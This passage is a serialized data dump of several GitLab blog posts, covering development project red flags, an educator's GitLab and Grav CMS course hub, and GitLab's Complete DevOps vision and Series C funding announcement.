Foster\"}],\n        \"datePublished\": \"2017-10-16\",\n      }",{"title":34719,"description":34720,"authors":34725,"heroImage":34721,"date":34727,"body":34728,"category":6634,"tags":34729},[34726],"Patrick Foster","2017-10-16","\n\nDevelopment issues can be expensive to fix — and the later you uncover them,\nthe worse it is. If you’re running (or dependent on) a development project it’s\nreally important that you stay on the ball at all times. Communication,\ntransparency, and accountability are all essential. Here are some development\nproject red flags that you need to be aware of – as well as how you\ncan address things if it looks like they are starting to go wrong...\n\n\u003C!-- more -->\n\n## Track developer stress and coping strategies\n\n**Start with getting to know the team behind the work – learn how to track their\nstress levels accurately.**\n\nIf you are working with developers or managing a team of them, you will start to\nget a feel for their stress levels via your day-to-day interactions. If you know\nthem reasonably well, you will probably be able to recognize stress in the\nthings that they say, or in way that they act. ([Everyone handles stress differently](http://serendip.brynmawr.edu/biology/b103/f03/web1/skim.html),\ndepending on their personality and past experience).\n\nThe easiest way to diagnose developer stress? Over-complication of simple tasks.\nIf you find it’s taking you about 16 emails to discuss some simple edits to a\nsite menu, it’s probably a sign that something is wrong, and that undue pressure\nis being applied somewhere along the line. Once we enter stressful realms,\ncommunication tends to get very fraught and people will start to feel on edge\nall the time.\n\nIt’s important to address any workflow or workload issues that might be causing\nstress, but don’t forget that one of the biggest stressors is probably other\npeople. It could be that development personalities and job responsibilities are\nclashing in unproductive ways. Development teams need the right mix of people\nand skillsets in order to function harmoniously (just like any other team).\n[Does your team have all of these crucial attributes?](/blog/attributes-of-successful-development-teams/)\nIt could be that the team is out of balance somewhere, so spend some time with\npeople in order to improve team dynamics and implement coping strategies.\n\n## Stop little things from snowballing\n\nIf little tasks and small instructions are constantly getting ‘lost in briefing’\nit could signal that there is a missing chain in the communication workflow.\nSmall oversights can quickly build and create mountains of frustrations for the\nteam. Missing even the most minute detail can completely derail an otherwise\nsuccessful development project, so react immediately if you spot any oversights,\nno matter how small.\n\nFeatures like Issues and [Issue Boards](/stages-devops-lifecycle/issueboard/) can help everyone break down\ncomplex tasks into smaller individual ones and track their progress across the\ndevelopment lifecycle. Singular tasks are often be the best way for developers\nto tackle a subject – this is especially true for junior developers and\ntrainees. Overloading people with too many tasks at once will crash their\nbandwidth, so approach briefs in a very ordered manner.\n\n## Adopt ‘slow’ solutions (where needed)\n\nSometimes it’s not possible to whack a plaster on an issue and call it a day.\nSome solutions to development problems are just as complex as the problems\nthemselves, and you need to focus on proper, rather than fast, implementation.\nYou might need to factor in extra time or budget (gulp) in order to get a\ndevelopment project or team back on track. The effort you put into the (right)\nsolution will pay off in the long run.\n\nA good example of a ‘slow solution’ is the [steep learning curve developers face when adopting new tools and ways of working like Git](/blog/learning-curve-is-the-biggest-challenge-developers-face-with-git/)\n– but that shouldn’t put you off. It may be that right now your development team\nneed to spend some time getting to grips with a process, framework, or tool that\nwill save hundreds of development hours further down the line.\n\nYou may also want to take advantage of the [Minimum Viable Change Principle](/blog/how-to-shorten-conversation-cycle/) that\ntakes into account the full scale of development complexity, but focuses on\nmoving the project forwards with a minimum viable fix, allowing for further\niterations when the time is right. This is a great strategy that should be\nimplemented on a regular basis, especially when time is of the essence and a\nfull raft of features is not immediately feasible.\n\n## Focus on logic\n\nDevelopment is an extremely logical task, and you need to approach development\ntroubleshooting in the same logical and methodical way. Development problems\nneed to be fully mapped out in a logical sequence, not treated reactively with\n‘creative’ solutions.\n\nSpecificity is a really important thing when discussing potential development\nissues.  Unclear and vague pronouns aren’t helpful – be ready to be super\nanalytical and direct.\n\nDevelopment projects are notorious for running over-budget and taking up loads\nof business time, which can cause logic to fly out of the window in a state of\npanic. Think carefully about any knee-jerk reactions, and don’t be so ready to\nburn a whole project because of a few final teething problems.\n\n## Review your team model\n\n**It all works better when you embrace the idea that “product,” “design,” and\n“engineering” are just different perspectives on the same thing.** – [Greg Veen](http://jrsinclair.com/articles/2017/faster-better-cheaper-art-of-making-software/#fn:3)\n\nSlow progress or projects stalling could come down to your software team model.\nWhen was the last time you reviewed yours? There are a few different software\nproject management methodologies that can really help structure and improve\npreviously ‘messy’ development teams. Have a look around you, and see whether\nit’s time your team went in for an upgrade?\n\nFrom [Scrum to Kanban](https://devops.com/kanban-vs-scrum/), there is an\nincreasing focus on [DevOps](/topics/devops/)\nas a way to have more joined-up development and software teams. A product\nengineering model can be a great way to improve company and project efficiency –\nit’s certainly [helped big software companies like Shopify refine their development strategy](https://engineering.shopify.com/blogs/engineering/why-shopify-moved-to-the-production-engineering-model).\n\n## Measure constantly for project agility\n\nIf you want to find problems, you need to be tracking them first! From\ncollecting the right data, to testing and tracking, make sure that you\nconstantly keeping tabs on the project as it progresses. Adopting tools like\n[Cycle Analytics](/solutions/value-stream-management/) will\nensure that you always stay on track with how your projects are progressing,\nand the data you’ll harness will become an invaluable source of business intelligence.\n\nOne great way to incentivize teams and fix any looming issues on the horizon is\nto make performance and progress visible, then discuss them openly.\nWhen a problem does surface, treat it as a single entity and don’t wait for any\nmore to pile up – this is a much more [agile approach](http://agilemethodology.org/)\nthat will help keep projects streamlined.\n\n## Build communication into the project\n\nShow, don’t tell. Development progress needs to be communicated in clear and\nvisual terms – language is often an insufficient medium for development (and\ndevelopers). Consistent bug reporting and watertight specifications are\nimportant. Specification quality needs to be at 100 percent, otherwise you can’t\nexpect the code you get back to be 100 percent either.\n\nIf development is rubbing up against teams with little development experience,\ncommunication becomes even more essential. Reducing the amount of jargon can\nhelp non-developers stay in the loop, but at the same time, it’s important that\na business learns how to adopt development and software language (especially if\nit relies on it for its income).\n\nIt’s disheartening to see how little some software company employees actually\nknow about software development – better communication can help rectify this issue.\n\n## The halfway point check-in\n\nThe halfway point is a critical yardstick for any development project. It’s a\ngreat time to check in with your team and see how they are getting on. By then,\nyou should have a pretty robust feel for how people are coping, and whether the\nproject is going to be delivered in time.\n\nHaving a formal process and meeting for the halfway point isn’t always feasible\n(it largely depends on project size), but it’s a good idea to do nevertheless.\n[Getting the team together and getting visibility on progress is also a morale booster](https://www.themuse.com/advice/7-great-ways-to-boost-your-teams-morale).\n\nIf things aren’t looking good halfway? Don’t just cross your fingers, and hope\nfor the best for the rest of the time – you need to tackle the issue there and\nthen. Go away and review all the data that’s available to you before you make\nany rash killswitch decisions.\n\n*In order to keep your development projects on track, you need to become good at\ncommunicating with your development team, embracing agile solutions wherever\npossible. What’s your number one project management tip?*\n\n### About the guest author\n\nPatrick Foster is an ecommerce consultant and coach, and has been helping\nfounders and ecommerce startups for longer than he cares to admit. A passionate\nadvocate of ecommerce journeys and stories, he is always looking to find\nlikeminded thinkers and entrepreneurs. Come say hello on [Twitter](https://twitter.com/myecommercetips).\n\n[Cover image](https://unsplash.com/photos/SITaCHf7jjg) by [Alexander Shustov](https://unsplash.com/@alexandershustov) on Unsplash\n{: .note}\n",[1444],{"slug":34731,"featured":6,"template":678},"how-to-spot-development-issues","content:en-us:blog:how-to-spot-development-issues.yml","How To Spot Development Issues","en-us/blog/how-to-spot-development-issues.yml","en-us/blog/how-to-spot-development-issues",{"_path":34737,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34738,"content":34743,"config":34750,"_id":34752,"_type":16,"title":34753,"_source":17,"_file":34754,"_stem":34755,"_extension":20},"/en-us/blog/collaborative-course-environment-gitlab-grav",{"title":34739,"description":34740,"ogTitle":34739,"ogDescription":34740,"noIndex":6,"ogImage":28653,"ogUrl":34741,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34741,"schema":34742},"Creating open course environments with GitLab and Grav CMS","Guest author Paul Hibbitts shares how he combines GitLab with the flat-file CMS Grav to provide an open, collaborative and flexible environment that partners with his institution's LMS.","https://about.gitlab.com/blog/collaborative-course-environment-gitlab-grav","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Enabling an open and collaborative course environment with GitLab and the Grav CMS\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Paul Hibbitts\"}],\n        \"datePublished\": \"2017-10-12\",\n      }",{"title":34744,"description":34740,"authors":34745,"heroImage":28653,"date":34747,"body":34748,"category":813,"tags":34749},"Enabling an open and collaborative course environment with GitLab and the Grav CMS",[34746],"Paul Hibbitts","2017-10-12","\n\nTech-savvy educators! Do you want to:\n\n- Share your course materials more openly?\n- Support collaborative editing by students and fellow educators?\n- Deliver a better multi-device experience of your course materials?\n- Be able to update your online course materials in as little as 30 seconds?\n- And, in general, move beyond the constraints of your current Learning Management System?\n\n\u003C!-- more -->\n\nIf this sounds like you, then the combination of an institutionally hosted instance of [GitLab]() and a modern flat-file (no database) Content Management System such as [Grav](https://getgrav.org/) might be your answer!\n\nAs an educator and software interaction designer, I am always striving to deliver a better experience for my students, both in person and online. In the past several years this has led me to ‘flipping’ the Learning Management System, where I use an alternative platform instead of the LMS as the primary online environment. Many instructors (including myself) have taken this approach in the past using a traditional platform such as WordPress, but I found significant new benefits from partnering the LMS with a more modern platform that was built to take full advantage of the open and collaborative ecosystem (i.e. Git, GitLab, GitHub, etc.) we now have.\n\nWith the above approach, direct links are provided to any appropriate LMS elements and sensitive student data remains in the LMS. Common elements across multiple courses, like calendars, assignments, discussion forums, and grades are still stored in the LMS for single-point access by students. While perhaps not suited for university-wide adoption, this is a very viable and productive approach for individual instructors and their students while we wait for more open and adaptable institutional-level tools to become available.\n\n\u003Cimg src=\"/images/blogimages/gitlab-grav-open-course1.png\" alt=\"Open and Collaborative Flipped LMS Approach Using GitLab and the Grav CMS\" style=\"width: 500px;\"/>{: .shadow}\n\n*\u003Csmall>Open and Collaborative ‘Flipped’ LMS Approach Using GitLab and the Grav CMS\u003C/small>*\n\nFortunately, my university ([Simon Fraser University](http://www.sfu.ca/), or SFU, in Burnaby, BC, Canada) also provides an institutionally hosted instance of GitLab which not only gives me an ideal workspace for my online course materials, but also supports single sign-on so my students can easily contribute to these materials as well. By combining GitLab with the modern flat-file CMS Grav, my institution's LMS and a small collection of other open source web apps, I’ve been able to reach more of my desired teaching goals (such as providing an anytime, anywhere performance support tool with real-time chat) for my own courses than by using the LMS as the primary online space. In addition, I’ve made the resulting software open source to also help other instructors reach their own goals – more about this project at the end of this article!\n\n## Why open source software?\n\nThe advantages of using open source software in the field of education are well documented elsewhere (see [Open Source Software in Education](http://er.educause.edu/articles/2008/5/open-source-software-in-education)), but from my own viewpoint, the things I value most are: having more control over the software I use, the online communities often found with open software projects, public communication with the team developing the software, and the wide range of ways I can contribute to projects. I’ve also been keenly following several other open source, institutional-level learning ecosystem efforts, such as [ELMSLN](https://www.elmsln.org/) (a platform for building and sustaining innovation in course technologies) and [TSUGI](https://www.tsugi.org/) (a framework for building learning tools).\n\n## Why GitLab?\n\nGitLab meets several key criteria for its use in a learning ecosystem. First, it is open source software itself and secondly, it is possible to install an instance of GitLab on your own server. For universities and colleges this enhances the benefits of being open source in the first place as single sign-on and the storage of sensitive student data remains in the sole control of the institution.\n\nUsing GitLab in combination with the [GitHub Desktop application](https://desktop.github.com/) I can also very quickly update my online course sites from my desktop, while at the same time being able to then edit course site materials with any code editor I like. Most importantly, students feel like active course participants when they see they are welcome to suggest changes to the course site, or even just to make corrections to course materials. Everything is of course version controlled, which means as a repository administrator I can easily see each and every change before approving them. For changes not immediately approved I can then start a discussion via GitLab with the author of the proposed change to work out any needed further changes, etc. GitLab brings an industrial-strength software and document collaboration tool into the reach of my fellow university colleagues and students.\n\n## Why Grav CMS?\n\nWhile looking for an open source platform to support a learning ecosystem I evaluated multiple options, including self-hosting (for full administrative control) WordPress, Concrete5, Moodle and others. I then came across a number of apps under the category of ‘flat-file CMS,’ meaning that content was stored in files instead of a database. I could see that content as files would be a perfect partner for using a web-based Git service (such as GitLab, [GitHub](https://www.github.com/), [GitBook](https://www.gitbook.com/), etc.) to share and collaboratively edit content. With such a partnership, CMS content can be automatically backed up in a straightforward manner, while also tracking all revisions along the way. Digging deeper, I discovered the open source flat-file CMS Grav (by the team behind [RocketTheme](http://www.rockettheme.com/)) used Markdown – the native format for Web-based Git services such as GitLab – for content. Markdown is also an excellent system-independent format to support the ‘5Rs’ of Open Education Resources (Retain, Reuse, Revise, Remix, and Redistribute).\n\n\u003Cimg src=\"/images/blogimages/gitlab-grav-open-course2.png\" alt=\"Editing Markdown content in the Grav CMS Admin Panel\" style=\"width: 500px;\"/>{: .shadow}\n\n*\u003Csmall>Editing Markdown content in the Grav CMS Admin Panel\u003C/small>*\n\nGrav uses many existing modern standards and open source components, such as the very user-friendly [Twig language](https://twig.symfony.com/) (courtesy of Symfony) instead of pure PHP for theme templating. Grav also supports modular and custom content types, and was designed from the ground-up to be both fast and extensible. In addition, with the creation of the open source Git Sync plugin (by [Trilby Media](https://trilby.media/)) it is now easier than ever to do two-way syncing of Grav content between a production server, Git repository and an optional local development instance. It is even  possible to sync theme files, which determine the actual functionality and presentation of a site, so  educators (or perhaps their tech-savvy students) can directly help other educators needing assistance in additional customization of their Grav sites.\n\nIt should be noted that Grav is not a static site generator, but rather a file-based CMS which supports not only dynamic content but also an online Admin Panel.\n\n## CMPT-363 Open Course Hub\n\nFor my SFU course CMPT-363 User Interface Design this Fall, I will not only be using GitLab and Grav (hosted on the educationally focused [Reclaim Hosting](https://reclaimhosting.com/)), but also a number of other web apps (also mostly open source) to provide a learning ecosystem to my students. Since Grav itself is open and extensible, I can easily add in Javascript elements for a Livechat (which my students have told me they love) thanks to [Rocket.Chat](https://rocket.chat/), responsive Markdown-based slide embeds thanks to the commercial [Swipe.to](https://www.swipe.to/home) web app, and links to an anonymous course feedback form thanks to [Sandstorm.IO](https://sandstorm.io/) and [Quick Survey](https://github.com/simonv3/quick-survey). To address both various other teaching goals (the LMS actually does some things quite reasonably) and student data privacy concerns, I still use the institutional LMS [Canvas](https://www.canvaslms.com/) by Instructure to support a wide range of course elements such as quizzes, assignment submissions, discussion forums, and gradebook. You can see this multi-device friendly Course Hub in action at [paulhibbitts.net/cmpt-363-173/](http://paulhibbitts.net/cmpt-363-173/).\n\n\u003Cimg src=\"/images/blogimages/gitlab-grav-open-course3.png\" alt=\"CMPT-363 Open Course Hub Learning Ecosystem\" style=\"width: 500px;\"/>{: .shadow}\n\n*\u003Csmall>CMPT-363 Open Course Hub Learning Ecosystem\u003C/small>*\n\n## The Open Course Hub Project\n\nBased on the [very positive student feedback](https://storify.com/paulhibbitts/flipped-lms) and my own experiences with the 2015 CMPT-363 Course Hub, I decided to release an open source version of a pre-packaged Course Hub with Git Sync the following year (called a Skeleton in Grav-speak, which is a ready-to-run package that includes Grav and all needed theme and example content files). While this package can be installed in [less than a minute](https://www.youtube.com/watch?v=8yyE-LaAa8Y) and fully configured in [under five minutes](https://www.youtube.com/watch?v=jnBig4aGfFg) it is intended for fellow tech-savvy educators to use and further customize as they see fit.\n\n\u003Cimg src=\"/images/blogimages/gitlab-grav-open-course4.png\" alt=\"CMPT-363 Open Course Hub Web Page\" style=\"width: 500px;\"/>{: .shadow}\n\n*\u003Csmall>CMPT-363 Open Course Hub Web Page\u003C/small>*\n\nWhat are the exact skills currently expected? In general, you should be comfortable with accessing files on a website server, understand folder hierarchies, be familiar with Markdown (here is a [10-minute Markdown tutorial](https://designedbywaldo.com/en/tools/markdown-tutorial)), and have a working knowledge of using GitLab or GitHub. Being able to use [GitHub Desktop](https://desktop.github.com/) and a desktop code editor like [Atom.io](https://atom.io/) or [Adobe Brackets](http://brackets.io/) will also bring the ability to store a copy of your Grav site content on your local desktop and then selectively edit and push changes back to the Git repository for deployment to your live Grav Course Hub site. Step-by-step install and configuration instructions for the Grav Course Hub are available at [learn.hibbittsdesign.org/coursehub](http://learn.hibbittsdesign.org/coursehub).\n\nThis is also my way to give back to the open source community in general, which has been so helpful in the development of my own original CMPT-363 Course Hub. Using Grav and the Git Sync plugin I’ve released several additional Open Education Resources (OER) projects, including the Open Publishing Space, and all of these are available at [learn.hibbittsdesign.org](http://learn.hibbittsdesign.org/).\n\nQuestions or comments about using GitLab as an open and collaborative backbone to your learning ecosystem? Please feel free to contact me via email ([paul@hibbittsdesign.org](mailto:paul@hibbittsdesign.org)) or Twitter [@hibbittsdesign](https://twitter.com/hibbittsdesign). You can also read more about my learning ecosystem explorations at [hibbittsdesign.org/blog](http://www.hibbittsdesign.org/blog/).\n\n*Special thanks to the folks at GitLab for the kind offer to provide this guest blog post, and everyone from the Grav community and my Twitter network who provided helpful feedback and comments on the draft versions of this post!*\n\n### About the guest author\n\nPaul Hibbitts has been an interaction design practitioner and educator for over 20 years, and has recently ventured into the world of open source software development thanks to the amazing Grav CMS.\n\n\n[Cover image](https://unsplash.com/photos/Y94yKEyNjVw) by [chuttersnap](https://unsplash.com/@chuttersnap) on unsplash\n{: .note}\n",[815,2368],{"slug":34751,"featured":6,"template":678},"collaborative-course-environment-gitlab-grav","content:en-us:blog:collaborative-course-environment-gitlab-grav.yml","Collaborative Course Environment Gitlab Grav","en-us/blog/collaborative-course-environment-gitlab-grav.yml","en-us/blog/collaborative-course-environment-gitlab-grav",{"_path":34757,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34758,"content":34763,"config":34768,"_id":34770,"_type":16,"title":34771,"_source":17,"_file":34772,"_stem":34773,"_extension":20},"/en-us/blog/from-dev-to-devops",{"title":34759,"description":34760,"ogTitle":34759,"ogDescription":34760,"noIndex":6,"ogImage":26790,"ogUrl":34761,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34761,"schema":34762},"Complete DevOps is DevOps reimagined. Here's what that looks like","It's all systems go on Complete DevOps! We've re-imagined the scope of DevOps to bring development and operations work into a single application.","https://about.gitlab.com/blog/from-dev-to-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Complete DevOps is DevOps reimagined. Here's what that looks like\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2017-10-11\",\n      }",{"title":34759,"description":34760,"authors":34764,"heroImage":26790,"date":34765,"body":34766,"category":299,"tags":34767},[3532],"2017-10-11","\n\nUpdate: for the most recent status of complete DevOps please see our [Product Vision](/direction/) page.\n\nEarlier this week [we announced our #CompleteDevOps vision](/blog/gitlab-raises-20-million-to-complete-devops/). Let's take a closer look at what that means, and how it's different from traditional DevOps.\n\n\u003C!-- more -->\n\n## Traditional vs. Complete DevOps\n\nIn the early days of software development the process of taking an idea to production was slow, insecure and vulnerable to errors. DevOps emerged as a way to foster collaboration and create faster iteration cycles with greater quality and security. As it sits today, DevOps is a set of practices at the intersection of development and operations. It was a huge step forward.\n\n\u003Cimg src=\"/images/blogimages/dev-to-devops-intersection.png\" alt=\"Intersection of Dev and Ops\" style=\"width: 500px;\"/>{: .shadow}\n\nBut it didn't go far enough.\n\nEven with the [adoption of DevOps](/topics/devops/), serious challenges continue to exist. Developers and operators used to be separate groups with separate tools. The people are now closer together but their tools are still apart. This hinders dev and ops teams from working together. Trying to glue their tools together with traditional DevOps applications doesn't solve the fundamental problem of having separate applications.\n\n\u003Cimg src=\"/images/blogimages/dev-to-devops-tools.jpg\" alt=\"Distinct tools of developers and operators\" style=\"width: 800px;\"/>{: .shadow}\n\n## Why Complete DevOps?\n\n\u003Cimg src=\"/images/blogimages/dev-to-devops-union.png\" alt=\"Union of Dev and Ops\" style=\"width: 500px;\"/>{: .shadow}\n\nComplete DevOps reimagines the scope of tooling to include both developers and operations teams in one unified solution. This dramatically reduces friction, increases collaboration, and drives a competitive advantage. Doing away with context switching and having all the necessary information in one place closes the loop and enables a better understanding of each team's needs.\n\n\u003Cimg src=\"/images/blogimages/dev-to-devops-advantages.jpg\" alt=\"The advantages of Complete DevOps\" style=\"width: 800px;\"/>{: .shadow}\n\n To make our vision a reality, we're working on a number of new features and improving on existing ones. You can take an in-depth at some of these in our Head of Product [Mark Pundsack](/company/team/#MarkPundsack)'s [outline here](/blog/devops-strategy/), or watch the full presentation about our Complete DevOps vision below.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/5dhjw-TT964?start=1437\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\nYou can also browse the slides at your leisure:\n\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vRVKUjMMa7M7lPV04_TMgfmd2Fj_kEQYW9-RvKAtKf799_Dwbfvos8diqinI-Uhm1uTwPYCdAPPzun1/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"1280\" height=\"749\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\nShare your thoughts, comments, and questions about #CompleteDevOps with us on [Twitter](https://twitter.com/gitlab)!\n",[676,4103,736],{"slug":34769,"featured":6,"template":678},"from-dev-to-devops","content:en-us:blog:from-dev-to-devops.yml","From Dev To Devops","en-us/blog/from-dev-to-devops.yml","en-us/blog/from-dev-to-devops",{"_path":34775,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34776,"content":34781,"config":34787,"_id":34789,"_type":16,"title":34790,"_source":17,"_file":34791,"_stem":34792,"_extension":20},"/en-us/blog/gitlab-raises-20-million-to-complete-devops",{"title":34777,"description":34778,"ogTitle":34777,"ogDescription":34778,"noIndex":6,"ogImage":33678,"ogUrl":34779,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34779,"schema":34780},"GV leads $20M series C funding for GitLab to complete DevOps","We went live today with The Changelog’s Adam Stacoviak and Jerod Santo to announce $20M in new funding, a new board member, and our vision for Complete DevOps.","https://about.gitlab.com/blog/gitlab-raises-20-million-to-complete-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing $20 million in Series C round funding led by GV to complete DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2017-10-09\",\n      }",{"title":34782,"description":34778,"authors":34783,"heroImage":33678,"date":34784,"body":34785,"category":299,"tags":34786},"Announcing $20 million in Series C round funding led by GV to complete DevOps",[711],"2017-10-09","Update: for the most recent status of complete [DevOps](/topics/devops/) please see our [Product Vision](/direction/) page.\n\nToday we are thrilled to announce our $20 million Series C funding led by GV. This follows [our Series B round last September](/blog/gitlab-master-plan/). With the help of our investors (and community!) we’re gearing up to bring you Complete DevOps, a reimagined scope of DevOps that unifies development and operations work into a single user experience.\n\n\u003C!-- more -->\n\nNot a GitLab user? [Install GitLab](/install/) or [sign in](https://gitlab.com/users/sign_in) to get started!\n{: .alert .alert-gitlab-orange}\n\nIn addition to our Series C funding round led by Dave Munichiello, GV General Partner, we’re excited to announce new board member,\nMatt Mullenweg, founder of WordPress.\n\n> \"The Fortune 500 is racing to build world-class software development organizations that mirror the speed,\nproductivity, and quality of the largest tech companies. As these organizations strive to produce high-quality\ncode at scale, they will need best-in-class tools and platforms. GitLab’s platform accelerates\nthe development process with an emphasis on collaboration and automation.\nGitLab’s hybrid, multi-cloud solution is loved by developers, and is seeing tremendous traction in the field.\" – Dave Munichiello, GV General Partner\n\n> \"GitLab’s powerful momentum and scaling have a lot of parallels to Automattic and WordPress in their early days.\nWordPress had to battle a lot of competitors, and ultimately came out on top as a successful company on an open source business model.\nI hope to help GitLab achieve the same triumph. Fundamentally, I want to help create the kind of internet that I want to live in\nand I want my children to live in, one that reaches a global audience and one that is able to make a difference.\"\n– Matt Mullenweg, founder of WordPress\n\nSince our start in 2014, we’ve had one mission: change all creative work from read-only to read-write so that everyone can contribute.\nLast year we unveiled GitLab’s Master Plan on September 13th, committing to shipping every stage of idea to production (which we completed in 8.15!).\nThis was a major step forward in simplifying the software development process.\nNow, we're taking it a step further to unite development and operations in one user experience.\nWatch the recording of our earlier live stream announcing our #CompleteDevOps vision below,\nand keep scrolling for a recap and the slides from the presentation.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/5dhjw-TT964\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\n## Complete DevOps\n\nBefore DevOps, the world of software iteration was slow, insecure, and error prone.\nDevOps came to the intersection of development and operations to create faster iteration cycles with greater quality and security.\n\nBut it didn't go far enough...\n\nIn the current landscape, developers and operations use different tools,\nthey don't have the ability to fully collaborate, and the need to integrate\nmany disparate tools continues to be a point of friction that slows progress\nand leads to insecure, poor quality code.\n\nComplete DevOps reimagines the scope of tooling to include both developers\nand operations teams in one unified solution. This dramatically reduces friction,\nincreases collaboration, and drives a competitive advantage.\n\nIn [10.0](/releases/2017/09/22/gitlab-10-0-released/), we shipped the first iteration of Auto DevOps,\nwhich just scratches the surface of the Complete DevOps features we have in the works.\nYou can read our Head of Product [Mark Pundsack](/company/team/#MarkPundsack)’s\ndetailed vision in [his blog post](/blog/devops-strategy/), but to summarize:\n\nWe want to build GitLab into the complete DevOps tool chain.\nWe already cover every stage of the software development lifecycle. Why stop at production?\nWhy not go beyond that, into operations? We want to close the loop between Dev and Ops,\nautomating processes and reducing complexity so that you can focus on a great customer experience.\n\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vRVKUjMMa7M7lPV04_TMgfmd2Fj_kEQYW9-RvKAtKf799_Dwbfvos8diqinI-Uhm1uTwPYCdAPPzun1/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"1280\" height=\"749\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\n### Why Complete DevOps?\n\n1. A single UI for development and operations means less time is wasted switching tools.\n2. All phases of DevOps are deeply integrated, so development and operations can work together collaboratively with less friction.\n3. The best practices of more than 100K organizations are built in by default.\n4. You benefit from a single install, with upgrades that don't break, no integration work, and one permission model.\n\nShare your thoughts, comments, and questions about #CompleteDevOps with us [on Twitter](https://twitter.com/gitlab)!\n\n### The cloud-native development solution\n\nThe software world is moving from virtual machines to cloud-native development.\nWe want to help ease this transition for companies, by offering a complete development and operations solution for cloud-native development.\n\n## Get involved\n\nWe 💜 our community! At GitLab, everyone can contribute and we owe GitLab’s existence to your enthusiasm,\ndrive, and hard work. Without our contributors’ belief in open source software, we would not be where we are today.\nWe need your help to make our collective vision a reality.\n\nWe are committed to standing by our [promise to be good stewards of open source](/blog/being-a-good-open-source-steward/),\nand keeping communication and collaboration amongst the community a high priority.\nOur open core business model ships both open and closed software.\nIn an effort to maintain an unprecedented level of transparency, we follow three key principles:\n\n1. [Development in the open](/blog/improving-open-development-for-everyone/). You can submit issues in a public issue tracker. This is not a read-only interface.\n1. [Business in the open](/blog/almost-everything-we-do-is-now-open/). Our company handbook and policies are in the open.\n1. [Clear direction](/direction/). Our Direction page clarifies the current project priorities and what is possible in the upcoming releases.\n\nRead more about our company values in our [open source](/blog/our-handbook-is-open-source-heres-why/) [handbook](https://handbook.gitlab.com/handbook/values/), licensed by [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/).",[736,676,10921],{"slug":34788,"featured":6,"template":678},"gitlab-raises-20-million-to-complete-devops","content:en-us:blog:gitlab-raises-20-million-to-complete-devops.yml","Gitlab Raises 20 Million To Complete Devops","en-us/blog/gitlab-raises-20-million-to-complete-devops.yml","en-us/blog/gitlab-raises-20-million-to-complete-devops",{"_path":34794,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34795,"content":34800,"config":34805,"_id":34807,"_type":16,"title":34808,"_source":17,"_file":34809,"_stem":34810,"_extension":20},"/en-us/blog/devops-strategy",{"title":34796,"description":34797,"ogTitle":34796,"ogDescription":34797,"noIndex":6,"ogImage":33810,"ogUrl":34798,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34798,"schema":34799},"Beyond CI/CD: GitLab's DevOps vision","How we're building GitLab into the complete DevOps toolchain.","https://about.gitlab.com/blog/devops-strategy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Beyond CI/CD: GitLab's DevOps vision\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Pundsack\"}],\n        \"datePublished\": \"2017-10-04\",\n      }",{"title":34796,"description":34797,"authors":34801,"heroImage":33810,"date":34802,"body":34803,"category":299,"tags":34804},[26026],"2017-10-04","\n\nWith GitLab 10.0, we shipped [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) for the Community and Enterprise\nEditions. Read on for an in-depth look at our strategy behind it, and beyond.\n\n\u003C!-- more -->\n\nI recently met with my colleagues\n[Joe](/company/team/#JAScheuermann) and\n[Courtland](/company/team/#mktinghipster) to give them the\nlowdown on GitLab's DevOps vision: where we've come from and where we're headed.\nYou can watch the video of our discussion or check out the lightly edited\ntranscript below. You can also jump into the rabbit hole, starting with the meta\nissue for [GitLab DevOps](https://gitlab.com/gitlab-org/gitlab-ce/issues/32639).\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/zMAB42g4MPI\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\n\n## CI/CD: Where we've come from\n\n![CI/CD/Beyond CD](https://about.gitlab.com/images/blogimages/devops-strategy-ci-scope.svg)\n\nWhen I joined GitLab about a year ago, I created a [vision document for\nCI/CD](/direction/#ci--cd), and outlined a lot of the\nkey things that I thought were missing in [CI/CD in general](/topics/ci-cd/), and going beyond CD.\nI literally called one section \"beyond CD\" because I didn’t have a name for it\nthen.\n\nAnd in that document, I create an example pipeline to characterize all this\nstuff, to show how the pieces fit together into a development lifecycle.\n\n![Example pipeline](https://about.gitlab.com/images/blogimages/devops-strategy-example-pipeline.png){: .shadow}\n\nI love this diagram not only because it's complex and scary, but because when we\nstarted, we had maybe four boxes filled in, and now we have 10 or 12 filled in. To\nstart with, we had code management and, obviously, builds and tests. And we kind\nof did deployment, but not really.\n\nSince then, we’ve added review apps – a specific example of deployments – which\nis really awesome. We also added a more formalized mechanism for doing\ndeployments; actually recording deployments and deployment histories, 